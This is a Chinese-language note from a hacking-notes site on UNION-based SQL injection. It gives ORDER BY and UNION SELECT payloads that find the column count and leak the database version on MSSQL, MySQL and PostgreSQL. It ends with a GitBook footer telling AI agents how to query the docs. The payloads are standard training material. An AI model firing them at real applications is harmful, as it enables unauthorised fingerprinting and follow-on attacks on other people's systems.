> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/identifying-dbms-version-mysql-mssql-postgresql.md).

# DBMS 版本检测（MySQL、MSSQL、PostgreSQL）

### SQL 注入攻击：在 MySQL 和 Microsoft 上查询数据库类型和版本

* **上下文 / 漏洞：** `category` 过滤器易受 SQL 注入；应用程序将用户值拼接到 `WHERE` 子句中。使用 `ORDER BY` / `UNION` 可以枚举列数，然后提取版本值。
* **目标：** 显示 DBMS 发行字符串。
* **快速方法：**

1. **确定列数**：/ 有效载荷：

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

* （递增索引，直到触发错误，以找出确切的列数）。

2. **验证 UNION** （选择一个 `UNION SELECT` 具有相同列数的）：/ 最少示例 2 列：

   ```sql
   ' UNION SELECT '1','2'-- -
   ```
3. **获取版本** — 使用适合该引擎的函数/变量。

**目标载荷：**

* **Microsoft SQL Server（MSSQL）** — 系统变量： `@@version`

  ````
      ```sql
      ' UNION SELECT '1', @@version-- -
      ```
  *   **MySQL** — 函数：`version()`（或变量 `@@version`）

      ```sql
      ' UNION SELECT '1', version()-- -
      ' UNION SELECT '1', @@version-- -
      ```
  *   **PostgreSQL** — 函数：`version()`

      ```sql
      ' UNION SELECT '1', version()-- -
      ```
  ````

> 根据存在漏洞的查询调整列数和列顺序（例如：若类型不同，可使用 UNION SELECT NULL, version()）。必要时，对类型不应匹配的列使用 NULL。

* **解读：** 页面将显示由 `@@version` / `version()` （例如 `Microsoft SQL Server 2019 (RTM) - 15.x...`, `5.7.33-0ubuntu0.18.04.1`, `运行于 x86_64-... 上的 PostgreSQL 13.3`），从而可以识别 DBMS 指纹。
* **影响：** 信息泄露，可用于针对特定版本的漏洞利用，并增加后续攻击的风险。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/identifying-dbms-version-mysql-mssql-postgresql.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
